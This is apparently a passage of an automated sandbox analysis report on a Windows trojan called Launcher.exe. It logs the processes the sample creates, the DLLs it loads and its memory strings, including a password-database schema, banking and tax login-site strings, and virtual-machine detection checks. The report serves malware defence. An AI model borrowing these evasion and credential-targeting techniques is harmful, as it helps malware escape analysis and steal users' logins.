Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38

Source: C:\Users\user\Desktop\Launcher.exe

Code function: String function: 009D41E0 appears 47 times

Source: C:\Users\user\Desktop\Launcher.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 600

Source: Launcher.exe, 00000000.00000000.2046505180.0000000000A4C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs Launcher.exe
Source: Launcher.exe, 00000000.00000002.2332293012.0000000002F4D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs Launcher.exe
Source: Launcher.exe, 00000003.00000003.2053379149.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs Launcher.exe
Source: Launcher.exe, 00000003.00000000.2052950986.0000000000A4C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs Launcher.exe
Source: Launcher.exe	Binary or memory string: OriginalFilenameRpcPing.exej% vs Launcher.exe

Source: Launcher.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: Launcher.exe

Static PE information: Section: .bss ZLIB complexity 1.0003260869565218

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/5@11/2

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2448:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2656

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\9f9a98df-b877-4270-baef-182ab882fe89

Jump to behavior

Source: Launcher.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Launcher.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Launcher.exe, 00000003.00000003.2185123601.0000000003A0F000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Launcher.exe	Virustotal: Detection: 44%
Source: Launcher.exe	ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\Launcher.exe

File read: C:\Users\user\Desktop\Launcher.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 600
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Launcher.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: Launcher.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Launcher.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Launcher.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Launcher.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Launcher.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009D4303 push ecx; ret	0_2_009D4316
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F76DD8 push esi; ret	3_3_00F76DDA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F76DD8 push esi; ret	3_3_00F76DDA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F76DD8 push esi; ret	3_3_00F76DDA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F76DD8 push esi; ret	3_3_00F76DDA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F76DD8 push esi; ret	3_3_00F76DDA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F76DD8 push esi; ret	3_3_00F76DDA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F76DD8 push esi; ret	3_3_00F76DDA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F76DD8 push esi; ret	3_3_00F76DDA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F76DD8 push esi; ret	3_3_00F76DDA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F76DD8 push esi; ret	3_3_00F76DDA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7C364 pushad ; ret	3_3_00F7C365
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7C364 pushad ; ret	3_3_00F7C365
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7C364 pushad ; ret	3_3_00F7C365
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7C364 pushad ; ret	3_3_00F7C365
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7C364 pushad ; ret	3_3_00F7C365
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7C364 pushad ; ret	3_3_00F7C365
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7C364 pushad ; ret	3_3_00F7C365
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7C364 pushad ; ret	3_3_00F7C365
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7C364 pushad ; ret	3_3_00F7C365
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7C364 pushad ; ret	3_3_00F7C365
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7CB64 pushad ; retf	3_3_00F7CB65
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7CB64 pushad ; retf	3_3_00F7CB65
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7CB64 pushad ; retf	3_3_00F7CB65
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7CB64 pushad ; retf	3_3_00F7CB65
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7CB64 pushad ; retf	3_3_00F7CB65
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7CB64 pushad ; retf	3_3_00F7CB65
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7CB64 pushad ; retf	3_3_00F7CB65
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7CB64 pushad ; retf	3_3_00F7CB65
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7CB64 pushad ; retf	3_3_00F7CB65
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F7CB64 pushad ; retf	3_3_00F7CB65

Source: C:\Users\user\Desktop\Launcher.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Launcher.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-20859

Source: C:\Users\user\Desktop\Launcher.exe TID: 5896	Thread sleep time: -240000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe TID: 5896	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009E63B5 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_009E63B5
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009E6304 FindFirstFileExW,		0_2_009E6304

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: Launcher.exe, 00000003.00000003.2386728051.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348803317.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482226766.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2387068270.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<<;
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Launcher.exe, 00000003.00000003.2386728051.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348803317.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482226766.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2481834662.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
